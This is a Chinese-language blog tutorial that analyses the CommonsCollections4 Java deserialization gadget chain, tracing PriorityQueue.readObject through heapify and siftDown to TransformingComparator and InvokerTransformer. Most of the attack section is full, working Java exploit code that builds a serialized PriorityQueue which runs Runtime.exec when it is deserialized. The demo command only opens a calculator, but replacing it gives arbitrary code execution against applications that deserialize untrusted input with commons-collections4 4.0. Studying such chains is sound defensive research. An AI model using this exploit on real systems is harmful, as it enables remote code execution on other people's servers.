CommonsCollections4

 

流程图

img

分析与复现

0x00 概述

CC4 是 commons-collections4 包中的一条链,与此前 commons-collections3 中的链相同之处在于触发点是一致的,调用 invokeTransformer 进行命令执行或者调用 instantiateTransformer 触发 TrAXFilter 进行任意代码执行。不同点在于,CC4 使用了不同的入口点—— PriorityQueue。

利用版本

CommonsCollections 4.0

限制

JDK版本:暂无限制

0x01 触发点

CC4 的触发点与CC1、CC3 一致,invokeTransformer 或者 ClassLoader。

img

0x02 利用链

不同于CC1、CC3 使用的 invokeTransformer 和 instantiateTransformer ,CC4 使用了另一个 TransformingComparator。可以看到 TransformingComparator 实现了 Serializable。

img

并且 TransformingComparator.compare 方法调用了 transform 方法。

img

this.transformer 是在构造函数中赋值的。

img

compare 这个方法很通用,因此可以在很多地方找到同名函数,CC4 在 PriorityQueue 优先队列中找到了 compare 方法的调用。

PriorityQueue.siftDownUsingComparator 对 compare 进行了调用。

img

继续往上寻找到 siftDown 方法,仍旧是一个 private 方法。

img

再次 find Usage,在 heapify 中找到调用。

img

heapify 在 PriorityQueue.readObject 中调用。

img

至此,这一条利用链已经完备了,流程图如下:

img

下面编写 exp:

将 PriorityQueue 的 comparator 赋值为 transformingComparator,transformingComparator 中的 transformer 赋值为 chainedTransformer。另外,在 Commons-collections4 中,ChainedTransformer 接收变长数组。因此可以不用提前声明 Transformer 数组了。

public class CC4 {
    public static void main(String[] args) throws Exception{
        TestTransformingComparator();
        unserialize("abc.ser.bin");
    }
	public static void TestTransformingComparator() throws Exception{
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new ConstantTransformer(
                        Runtime.class
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}
                ));
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer, null);
        PriorityQueue priorityQueue = new PriorityQueue();

        Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,transformingComparator);
        serialize(priorityQueue);
    }

    public static void serialize(Object o) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.ser.bin"));
        oos.writeObject(o);
    }

    public static void unserialize(String filePath) throws Exception{
        ObjectInputStream ins = new ObjectInputStream(new FileInputStream(filePath));
        ins.readObject();
    }
}

执行后什么也没有发生,调试进去看一下。heapify 中遍历时先将 i 右移一位,然后判断是否大于等于零。当前 size = 0 ,所以不能进入 siftDown。

img

也就是说我们在序列化前,还需要往优先队列中插入至少两个值。

        priorityQueue.add("1");
        priorityQueue.add("2");

再次调试,先不执行反序列化,发现也能够弹出计算器。发现 add 函数中调用 offer 函数。

img

由于 size > 0 ,offer 函数中也会调用 siftUp。

img

siftUp 函数中,如果存在 comparator ,就调用 siftUpUsingComparator,也就会走完利用链。

img

我们在序列化的时候当然不需要执行利用链,因此可以在 add 前将 comparator 置为 null,再在序列化前将 comparator 置为 transformingComparator。

最终 exp:

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception{
        TestTransformingComparator();
        unserialize("abc.ser.bin");
    }

    public static void TestTransformingComparator() throws Exception{
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new ConstantTransformer(
                        Runtime.class
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",null}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}
                ));
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer, null);
        PriorityQueue priorityQueue = new PriorityQueue();

        Field comparatorField = PriorityQueue.class.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(priorityQueue,null);
        priorityQueue.add("1");
        priorityQueue.add("2");

        comparatorField.set(priorityQueue,transformingComparator);
        serialize(priorityQueue);

    }

    public static void serialize(Object o) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abc.ser.bin"));
        oos.writeObject(o);
    }

    public static void unserialize(String filePath) throws Exception{
        ObjectInputStream ins = new ObjectInputStream(new FileInputStream(filePath));
        ins.readObject();
    }
}

成功弹出计算器:

img

参考文章